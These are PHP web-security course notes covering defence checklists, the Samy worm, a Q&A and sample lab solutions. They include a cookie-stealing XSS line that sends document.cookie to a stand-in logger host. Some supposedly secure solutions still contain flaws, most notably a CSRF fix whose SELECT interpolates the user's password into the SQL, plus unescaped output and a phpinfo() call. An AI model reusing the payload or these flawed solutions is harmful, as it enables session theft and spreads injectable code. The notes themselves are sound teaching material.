Skip to content

Latest commit

 

History

History
1025 lines (871 loc) · 48.7 KB

php-sec-jan-2018.md

File metadata and controls

1025 lines (871 loc) · 48.7 KB

PHP Security Notes -- Jan 2018

Homework for Wed 24 Jan 2018

  • SQL Injection Lab
  • Zed Proxy Attack Lab

Homework for Thu 25 Jan 2018

  • XSS: Tidy Lab
  • XSS: Security Portal Lab
  • Insecure Direct Object References Lab

Homework for Fri 26 Jan 2018

  • CSRF Lab
  • Security Misconfiguration Lab
  • Sensitive Data Exposure Lab
  • Missing Function Level Access Control

ERRATA

Suggestions

  • Create a Docker config for course VMs
  • Revise instructions vis a vis changes to the default editor
  • RAM: modify Vagrantfile OR use the VirtualBox GUI
  • Need to modify Vagrantfile as follows:
    • Change: s.path = "https://s3.amazonaws.com/zend-training/provisions/provision_environment_test.sh"
    • To: s.path = "https://s3.amazonaws.com/zend-training/provisions/provision_environment.sh"
    • This is the error message:
==> default: Running provisioner: shell...An error occurred while downloading the remote file.
The errormessage, if any, is reproduced below. Please fix this error and tryagain.
The requested URL returned error:
403 Forbidden

OWASP

WEBSITES WITH ERRORS:

Solutions

SQL Injection Suggested Protection:

  • 1: use prepared statements to enhance protection against sql injection
  • 2: filter and validate all inputs
  • 3: treat the database with suspicion as it could have been compromised
  • LAB: solution should use prepared statements!!!

Brute Force Suggested Protection:

  • 0: Any suggested protection may be evaded if the attack is launched from a "botnet"
  • 1: Tracking failed login attempts + some kind of redirection or slowdown if X # failed attempts
  • 2: CAPTCHA
  • 3: Cookie handling: check to see if cookie is being returned or not
  • 4: Log attempts based on IP address
  • 5: Employ a series of strategies if B.F. attacked detected. Randomly choose one. Suggestions: -- "Landing" page -- Send an email and ask for confirmation -- Random Timeout i.e. 30 mins -- Send to a page with a CAPTCHA -- Ask a security question
  • 6: Consider resetting the password + use out-of-band notification (i.e. email)
  • 7: if a high level of abuse is noted, extreme measures are called for: i.e. total lockout at IP level

XSS:

  • 1: escape, validate, filter all input

  • 2: htmlspecialchars() on output (esp. suspect data)

  • 3: use prepared statements + SQL injection protection to prevent stored XSS

  • 4: strip_tags() and stripslashes() (maybe) on input UNLESS: if you're implementing a CMS, don't strip all tags (used 2nd param of strip_tags()) Only allow certain ones Consider using Zend\Filter\StripTags which can also filter out selected attribs strip_tags('<b onclick="javascript:alert("test")">', '<b>'); would still execute the javascript

  • 5: Control the length of your input data

  • 6: For CMS implementation, consider using other libraries i.e. Zend\Escaper

  • 7: Use Zend\Escaper\HtmlAttrib (???) which escapes contents of attribs

  • 8: from Keoghan to All Participants: just thought I'd share this for the times where html is needed to be allowed through: https://github.com/ezyang/htmlpurifier (not sure if everyone will have some across it or not)

  • LAB NOTE: solution for XSS_R s/be $_POST not $_GET

Insecure Direct Object Reference / Missing Function Level Access Control

  • 1: When building the SELECT, encrypt the database key which is exposed to the form
  • 2: Implement proper access control for valuable company resources ("objects")
  • 3: Redirect and log the "illegal" attempt (i.e. enforce the access control)
  • 4: Don't display resources that this user should not access
  • 5: Proper session protection + proper logout procedure
  • 6: Modify the names of the resources to make them less predictable

CSRF

Session Protection:

  • 1: Run session_regenerate_id() frequently to keep validity of session ID short but still maintain the session
  • 2: Have the session ID go through cookies (instead of URL)
  • 3: Create a profile of the user (i.e. IP address, browser, language settings) If anything changes while session is active, flag the session as suspicious maybe log this fact, shut down the session, etc.
  • 4: Provide a logout option which destroys the session, expires the cookie and unsets data
  • 5: Keep sessions as short as possible (but keep usability in mind!)
  • 6: Be cautious about fixed session IDs (i.e. "remember me")!!!

Security Misconfig

Insufficient Crypto Handling of Sensitive Data

Command Injection

  • 1: Do you really need to run system(), exec() etc.? Maybe another way
  • 2: Use escapeshellcmd/args()
  • 3: php.ini setting "disable_functions = xxx" if you want to block usage of these
  • 4: Filtering / validation i.e. filter_var with one of the flags and Typecasting
  • 5: php.ini open_basedir directive for protecting higher directory levels
    1. Proper filesystem rights settings

Remote Code Injection

  • 1: Don't mix user input with these commands: include, require, eval()
  • 2: Set php.ini allow_url_include = off
  • 3: Possibly refactor your code so you don't need the user to supply actual PHP filenames Establish some sort of routing capability / url rewriting Whitelist allowed pages w/ name mappings that the user can choose Don't let the user see the actual php file they're going to be using
  • 4: Be sure to initiate proper access control / authorization
  • 5: Use web server rewrite engine to map a URL to an actual PHP file

SECURE FILE UPLOADS

Examples of Threats / Attacks

LATEST THREATS:

LATEST ATTACKS:

SQL INJECTION:

BRUTE FORCE:

XSS:

INSECURE DIRECT OBJECT REFERENCE

  • SweetsComplete Demo: not logged in: able to get to "sweetscomplete.com/index.php?page=admin" which then allows admin functionality

BROKEN AUTH AND SESSION MANAGEMENT

CSRF:

SECURITY MISCONFIGURATION

SENSITIVE DATA EXPOSURE

MISSING FUNCTION LEVEL ACCESS CONTROL

USING COMPONENTS WITH KNOWN VULNERABILITIES

UNVALIDATED REDIRECTS AND FORWARDS

OTHER:

RESOURCES:

PHP:

EXPLOIT KITS:

LATEST SECURITY THREATS:

HELP FOR HACKED SITES:

PHP EXPLOITS:

CHARACTER SET ATTACKS:

OPEN SOURCE ATTACKS:

HACKS:

HACKS EXPLAINED ON YOUTUBE:

PREVIOUS ATTACKS:

PREVIOUS THREATS:

RESOURCES:

WEBINARS:

PHP BEST SECURITY PRACTICE:

Misc Topics

Topic: Building Security into Your PHP Applications

MySpace SAMY Worm Hack

http://namb.la/popular/

This is a classic example of a CRSF attack:

  1. Hacker posted malicious code to his own MySpace page using javascript hidden in
    tags. He hid "javascript" from the MySpace filter by using "java\nscript".
  2. When an innocent user clicked on this part of his page, the code used the user's logged in credentials to automatically add Samy to their "friend" and "hero" list.
  3. The code was then replicated on the innocent user's page. When their own friends clicked on this part of the page, they, in turn added Samy to their friends list. NOTE: In this case the "3rd party site" = Samy's MySpace page and the Victim Site = the user's MySpace page. etc. etc.

Contrast XSS with CSRF (slide 38) http://en.wikipedia.org/wiki/Cross-site_request_forgery Related: Confused Deputy Problem, Replay Attack, Session Fixation A confused deputy is a computer program that is innocently fooled by some other party into misusing its authority. It is a specific type of privilege escalation. In information security, the confused deputy problem is often cited as an example of why capability-based security is important. A cross-site request forgery (CSRF) is an example of a confused deputy attack against a web browser. In this case a client's web browser has no means to distinguish the authority of the client from any authority of a "cross" site that the client is accessing.

A replay attack is a form of network attack in which a valid data transmission is maliciously or fraudulently repeated or delayed. This is carried out either by the originator or by an adversary who intercepts the data and retransmits it, possibly as part of a masquerade attack by IP packet substitution (such as stream cipher attack).

CSRF FAQ

"MANUAL" SETUP PROCEDURE FOR SECURITYTRAINING WEBSITE

  1. Create an entry in the hosts file:
sudo echo "127.1.1.1  securitytraining" >>/etc/hosts
  1. Create a file from the command line as follows:
sudo gedit /etc/apache2/sites-available/securitytraining.conf
  1. Put this into its contents:
<VirtualHost *:80>
    ServerName securitytraining
    DocumentRoot /home/vagrant/Zend/workspaces/DefaultWorkspace/securitytraining
    <Directory /home/vagrant/Zend/workspaces/DefaultWorkspace/securitytraining/>
        Options Indexes FollowSymlinks MultiViews
        AllowOverride All
        Require all granted
    </Directory>
</VirtualHost>
  1. Activate the virtual host:
sudo a2ensite securitytraining
  1. Restart Apache:
sudo service apache2 restart
  1. Configure the database:
mysql -u root -p

Enter "vagrant" when prompted for the password 6. Create the database and restore from backup, from the mysql prompt:

CREATE DATABASE security;
USE security;
source /home/vagrant/Zend/workspaces/DefaultWorkspace/securitytraining/data/sql/security.sql
SELECT * FROM users;
exit

-- 39 ------------------------------ Note: the HTML for the 3rd party site has been hacked Hacker used an tag to send info to the victim site (?)

-- 40 ------------------------------ Protection: stamp form requests with some sort of token or session ID

-- 41 ------------------------------ Session Hijacking: where user fails to logout from a sensitive site, then the janitor gets onto their computer or the hacker has injected javascript which reads cookies and sends it to an "evil" site or a packet sniffer on the network captures this info

Session Fixation: often used for digital downloads -- customer gets unique URL In computer network security, session fixation attacks attempt to exploit the vulnerability of a system which allows one person to fixate (set) another person's session identifier (SID). Most session fixation attacks are web based, and most rely on session identifiers being accepted from URLs (query string) or POST data.

Used especially in sites where user is "logged in all the time" or where there is a "remember me" function (usually = session info stored in cookie)

-- 43 ------------------------------ See "bad_cookie_fixed.php"

-- 44 ------------------------------ Demo file upload and show phpinfo() data for $_FILES File MIME type forged (?) CHECKING MIME TYPE MIGHT NOT BE ENOUGH!

DEMO:

  1. cd /var/www/php_sec
  2. hd hacked.jpg
  3. Notice javascript embedded at end of jpg
  4. Demo how file comes up OK in browser and appears to be a normal jpg

-- 45 ------------------------------ Potential command injection attack Check php.ini and make sure tmp upload directory is outside of document root Instead of file_exists(), use is_uploaded_file() $cmp_name relies on user supplied filename = should not be trusted

-- 47 ------------------------------ session_regenerate_id --> need to add TRUE to make sure old session is removed DEMO: session_regenerate_id.php

-- 49 ------------------------------ php.net/manual/en/features.safe-mode.functions.php NOTE: Safe Mode is deprecated (see http://www.breakingpointsystems.com/community/blog/php-safe-mode-considered-harmful/) open_basedir = /xxx REF: http://www.php.net/manual/en/ini.core.php#ini.open-basedir register_long_arrays -- deprecated in PHP 5.3 REF: http://www.php.net/manual/en/ini.core.php#ini.register-long-arrays

-- 51 ------------------------------ In this context: not like test environment (i.e. PayPal developer's sandbox) Area which is attractive to attackers Used to gather data on attacker

-- 52 ------------------------------ Tarpits -- Wells Fargo used to use that technique Works in asynchronous apps (i.e. email) http://projecthoneypot.org/

-- 53 ------------------------------ Can be effective if part of a larger strategy Another layer in the onion

-- 54 ------------------------------ Ajax definition: A method by which asynchronous calls are made to web servers without causing a full refresh of the webpage. This kind of interaction is made possible by three different components: a client-side scripting language, the XmlHttpRequest (XHR) object and XML. Developers have found many uses for Ajax such as "suggestive" textboxes (such as Google Suggest) and auto-refreshing data lists. Security Implications:

  • Client side security controls can be easily compromised
  • Increases "attack surface"
  • Gap between users and services shortened = less room for validation, etc.
  • Increased exposure to XSS attacks
    • e.g. SQL statements, table and column names, are exposed AJAX complicates security testing
  • The page "state" is no longer well defined
  • Async nature means testing may not catch requests initiated through timer events
  • Test tools may not be geared to test transmitted XML data and may not be designed to parse and/or execute and test javascript http://www.securityfocus.com/infocus/1868 http://www.acunetix.com/websitesecurity/ajax.htm

DEMO: use Wireshark to test AJAX transfer w/ Google word completion

-- 55 ------------------------------ https://www.owasp.org/index.php/OWASP_AJAX_Security_Guidelines http://net-square.com/whitepapers/Top_10_Ajax_SH_v1.1.pdf

-- 57 ------------------------------ From: http://ha.ckers.org/xss.html fromCharCode (if no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need).

Example: UTF-8 Unicode encoding (all of the XSS examples that use a javascript: directive inside of an <IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode). Use the XSS calculator for more information:

Example:

Vulnerabilities of PHP to multibyte encoding: REF: http://www.phpwact.org/php/i18n/utf-8

Demo: tag_test.html

-- 59 ------------------------------ Also: Gen Security Tools: http://sectools.org/ Untangle: http://www.untangle.com/ Snort: http://www.snort.org/ nmap: http://nmap.org/ iptables rules generator: http://easyfwgen.morizot.net/gen/ Arachni: http://arachni.segfault.gr/ (web app security scanner) Joomla: https://lists.owasp.org/mailman/listinfo/owasp-joomla-vulnerability-scanner PHP: http://pear.php.net/package/PHP_CodeSniffer

DEMO: Checking a file with PHP_CodeSniffer $ phpcs /var/www/php_sec/bad_get_example.php


FOUND 5 ERROR(S) AFFECTING 2 LINE(S)

2 | ERROR | Missing file doc comment 20 | ERROR | PHP keywords must be lowercase; expected "false" but found "FALSE" 47 | ERROR | Line not indented correctly; expected 4 spaces but found 1 51 | ERROR | Missing function doc comment 88 | ERROR | Line not indented correctly; expected 9 spaces but found 6

DEMO: nmap -A -T4 172.16.82.1 DEMO: wireshark packet capture DEMO: logwatch

After module 4, use the VM to figure out where insecurities lie Are your cookies really safe?

<script>document.x.src="http://paypal.hack/logger.php?info="+document.cookie;alert("I guess not!");</script>

Q & A

CREATE TABLE `bfdetect` (
  `id` bigint(3) unsigned NOT NULL auto_increment,
  `today` varchar(20) NOT NULL,
  `minute` varchar(3) NOT NULL,
  `ip` varchar(16) NOT NULL,
  `forward_ip` varchar(500) NOT NULL,
  `useragent` varchar(100) NOT NULL,
  `userlan` varchar(100) NOT NULL,
  `isnotify` char(1) default '0',
  `notify4today` char(1) default '0',
  PRIMARY KEY  (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
   (Look in /securitytraining/data/sql/course.sql
. Based on the config, found in the securitytraining app config under the 'bfdetect' key, the detector checks the table for previous requests from the various $_SERVER params and logs the request. After four (config) requests are made from the same $_SERVER params within a 5 minute (config) setting, a log entry is created and a response to the attacker is slowed with a sleep option. In order for this script to work, you have to log more than 4 requests in 5 minutes in order for the log entry and sleep response. I decided not to populate the data due to this timing requirement which is based on the current server time.

[8:55:55 PM] Daryl Wood: You can populate the table with four quick CLI executions, then run the fifth from the securitytraining brute force page with the login. I just noticed the SQL table is not in the VM version. Oops , sorry for that, will fix this. [9:00:00 PM] Daryl Wood: Just fixed the VM to include the bfdetect table. In the mean time, have your students load the table create SQL from the dump, and you should be able to run the BF tool.

  • Q: The example in the slides discussing CSRF has this code: $token = md5 ( uniqid ( rand (), TRUE ) ); But I understand md5() is not strong. Do you have any other suggestions?

  • A: md5() can indeed be cracked by hacking tools such as hashcat. md5() is useful when you need to generate a quick hash but where it's not important if somebody can reverse it. For example, it might be useful to produce a key from an uploaded image filename which is used for internal storage. md5() will do that for you quickly. For anything which "goes public" however it's best to use something stronger. If you look at http://php.net/uniqid you will see that it does not produce a cryptographically secure id. The same is true of the rand() function: over several iterations its output becomes predictable, which brute force tools latch onto and make it easier to crack a hash based on such values. password_hash('text', PASSWORD_BCRYPT) will produce a BCRYPT hash which is much stronger and harder to break. If you have OpenSSL installed + the PHP OpenSSL extension enabled, you can use openssl_random_pseudo_bytes(). PHP 7 introduced two CSPRNG functions: random_int() and random_bytes() which use randomization available from the OS which in turn uses hardware. Here is a potential replacement for the statement given in the question: $token = bin2hex(random_bytes(32));

  • Q: RE: memory + post limits in php.ini

  • A: upload_max_filesize < post_max_size < memory_limit

  • Q: Suggestions on penetration testing tools, esp. PHP?

  • A:

    • MetaSploit
    • Nessus
    • Snort.org
    • Owasp.org tools page
  • Q: Fingerprinting suggestions?

  • A: https://github.com/Valve/fingerprintjs2

  • Q: What is a botnet?

  • A: A network of slaved computers infected with controlling malware. See: https://en.wikipedia.org/wiki/Botnet

  • Q: How large can a botnet become?

  • A: The largest botnets detected in 2015 were the following: Ramnit: 3,000,000 computers Zeus: 3,600,000 computers TDL4: 4,500,000 computers ZeroAccess: 1,900,000 computers Storm: 250,000 to 50,000,000 computers Cutwail: 2,000,000 computers Conficker: at its peak in 2009 3,000,000 to 4,000,000 computers Windigo: 10,000 Linux servers (!!!) See: https://www.welivesecurity.com/2015/02/25/nine-bad-botnets-damage/ See: https://en.wikipedia.org/wiki/Botnet

  • Q: Can you address how to protect from hacked images like that jpeg?

  • A: jpegs infected with a virus are not a danger unless they area "executed" directly by the OS. Example: W32.Perrun was discovered in 2002, but is still around but mainly contained See: http://www.symantec.com/security_response/writeup.jsp?docid=2002-061310-4234-99 Recommendation: train users not to open suspicious attachments (which is the usual form of delivery)

CLASS CODE EXAMPLES

XSS STORED LAB

  • Alternate Solution:
<?php

//Code to authenticate and authorize access...

if(isset($_POST['btnSign']))
{
   $message = htmlspecialchars(stripslashes(trim($_POST['mtxMessage'])));
   $name    = htmlspecialchars(stripslashes(trim($_POST['txtName'])));
   $result  = 0;
   try {
      $pdo = zendDatabaseConnect($config);
      $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
      $stmt = $pdo->prepare("INSERT INTO guestbook (name, comment) VALUES (?,?)");
      if (!$stmt->execute([$name, $message])) {
          error_log(__FILE__.':ERROR inserting to guestbook');
      } else {
          $result++;
      }
      //$result = $stmt->fetch(PDO::FETCH_ASSOC);
   } catch (PDOException $e) {
       error_log(__FILE__.':'.$e->getMessage());
        exit('Oops! Sorry.');
   }

   if($result > 0){
      echo 'Successful insert';
   } else{
      echo 'No results found';
   }
}

CSRF LAB:

  • Alternate Solution:
<?php
/**
 * A Secure Version Script
 *
 * Note: This is a limited secure version, not a complete one.
 * Please add access control (ACL) for query authorization.
 */

//Code to authenticate and authorize access...

if (isset($_POST['Change'])) {

    // Sanitise current password input
    $pass_curr = $_POST['password_current'] ?? 1;
    $pass_new = $_POST['password_new'] ?? 2;
    $pass_conf = $_POST['password_conf'] ?? 3;
    $token = $_POST['token'] ?? 4;

    $user = 'admin'; //Simulating a user here

    if( $token === $_SESSION['token']){
        if ($pass_new === $pass_conf) {

            //Check for correct current password
            try {
                $pdo = zendDatabaseConnect($config);
                $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
                $stmt = $pdo->query("SELECT user_id, password FROM users WHERE user = '$user' AND password = '$pass_curr';");
                $result = $stmt->execute();
            } catch (PDOException $e) {
                exit('<pre>' . $e->getMessage() . '</pre>');
            }

            if($result){

                //Set password hashing options
                $options = [
                    'cost' => 12,
                ];

                //Build the hash
                $passhash = password_hash($pass_new, PASSWORD_BCRYPT, $options);

                //Update the password
                try {
                    $pdo = zendDatabaseConnect($config);
                    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
                    $stmt = $pdo->prepare("UPDATE users SET password = ? WHERE user = ?;");
                    $stmt->execute([$passhash, $user]);
                } catch (PDOException $e) {
                    $html .= "<pre> Password update process not available </pre>";
                }

            } else {
                $html .= "<pre> Password Incorrect </pre>";
            }
        } else {
            $html .= "<pre> Passwords did not match. </pre>";
        }
    } else {
        $html.= "<pre> Invalid </pre>";
    }

} else {
    //Create and set a token
    //$token = md5(time());
    // alternatively use openssl_pseudo_random_bytes()
    $token = password_hash(base64_encode(random_bytes(32)), PASSWORD_BCRYPT);
    $_SESSION['token'] = $token;

    $formHtml = "
        <form action=\"#\" method=\"post\">
            <label>Current password</label>
            <input type=\"password\" AUTOCOMPLETE=\"off\" name=\"password_current\">
            <label>New password</label>
            <input type=\"password\" AUTOCOMPLETE=\"off\" name=\"password_new\">
            <label>Confirm new password</label>
            <input type=\"password\" AUTOCOMPLETE=\"off\" name=\"password_conf\">
            <input type=\"hidden\" name=\"token\" value=\"$token\">
            <br /><br /><input type=\"submit\" value=\"Change\" name=\"Change\">
        </form>";
}

INSECURE DIRECT OBJECT REFERENCE LAB

  • Alternate Solution:
<?php
//Code to authenticate and authorize access...

$key = strip_tags($_GET['img'] ?? 'a');

// here we use a "mapping" which further obscures the actual direct object reference
$allowResources = ['a' => 'img00011', 'b' => 'img00012']; // Add as required

if (isset($allowResources[$key])) {
    $html .= '<img src="vulnerabilities/idor/source/img/' . $allowResources[$key] . '.png">';
} else {
    $html .= '<pre>Unauthorized</pre>';
}

INSECURE CONFIGURATION LAB

  • Alternate Solution:
<?php

$config = include __DIR__ . '/protected/dir/sensitive.config.php';

Class User
{
    protected $someData;
    protected $username;
    protected $password;

    /**
     * @param null $name
     * @param null $pass
     */
    public function __construct(array $config, $name = null, $pass = null)
    {
        $this->username = $name;
        $this->password = $pass;
        $this->someData = $config['someData'] ?? NULL;
    }
}

$user = new User($config);
$html = '';

if (!empty($_POST['username']) && !empty($_POST['password'])) {
    $username = $_POST['username'];
    $password = $_POST['password'];

    // Encrypt the password ready for storage
    $username = ctype_alnum($_POST['username']);
    $password = password_hash($_POST['password'], PASSWORD_DEFAULT);

    //Code to check the database for existing username, we'll assume none here
    $user = new User($username, $password);

    //Call model and store user...

    $html .= "
        <div class=\"vulnerable_code_area\">
            <div>
                <h1>Thank You for signing up for our cool service!</h1>
                <p>We are here to help in case you need it.</p>
          </div>
         </div>";
}

SECURE FILE UPLOAD

  • Alternate Solution:
<?php
// TODO: redefine / override the php.ini setting for tmp files
// Initialize Variables
$message = '';
$fn      = '';

// make sure this is some known valid safe destination
$dir     = __DIR__ . DIRECTORY_SEPARATOR . "uploads" . DIRECTORY_SEPARATOR;

// Check to see if OK button was pressed
if ( isset($_POST['OK'])) {

    // Check to see if upload parameter specified
    if ( $_FILES['upload']['error'] == UPLOAD_ERR_OK ) {

        // Check to make sure file uploaded by upload process
        if ( is_uploaded_file ($_FILES['upload']['tmp_name'] ) ) {

            // TODO: validate the filename: i.e. jpg, png, gif, etc.

            // Strip directory info from filename
            $fn = basename($_FILES['upload']['name']);

            // Sanitize the filename
            // Note "i" (case insensitive) and "u" UTF-8 modifiers
            $fn = preg_replace('/[^a-z0-9-_.]/iu', '_', $fn);

            // Move image to ../backup directory
            $copyfile = $dir . $fn;

            // Copy file
            if ( move_uploaded_file ($_FILES['upload']['tmp_name'], $copyfile) ) {
                $message .= "<br>Successfully uploaded file " . htmlspecialchars($fn) . "\n";
            } else {
                // Trap upload file handle errors
                $message .= "<br>Unable to upload file " . htmlspecialchars($fn);
            }

        } else {
            // Failed security check
            $message .= "<br>File Not Uploaded!";
        }

    } else {
        // No photo file; return blanks and zeros
        $message .= "<br>No Upload File Specified\n";
    }
}

// AFTER UPLOAD: run anti-virus, etc. as cron job
// TODO: add some sort of flag which triggers the cron job

// Scan directory
$list = glob($dir . "*");
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Upload File</title>
<style>
TD {
    font: 10pt helvetica, sans-serif;
    border: thin solid black;
    }
TH {
    font: bold 10pt helvetica, sans-serif;
    border: thin solid black;
    }
</style>
</head>
<body>
<h1>Upload File</h1>
<form name="Upload" method=POST enctype="multipart/form-data">
<input type=file method=POST enctype="multipart/form-data" size=50 maxlength=255 name="upload" value="" />
<br><input type=submit name="OK" value="OK" />
</form>
<p>Message: <?php echo $message; ?></p>
<p>Filename: <?php echo $fn; ?></p>
<table cellspacing=4>
<tr><th>Filename</th><th>Last Modified</th><th>Size</th></tr>
<?php
if (isset($list)) {
    foreach ($list as $item) {
        echo "<tr><td>$item</td>";
        echo "<td>" . date ("F d Y H:i:s", filemtime($item)) . "</td>";
        echo "<td align=right>" . filesize($item) . "</td>";
        echo "</tr>\n";
    }
}
echo "</table>\n";
phpinfo(INFO_VARIABLES);
?>
</body>
</html>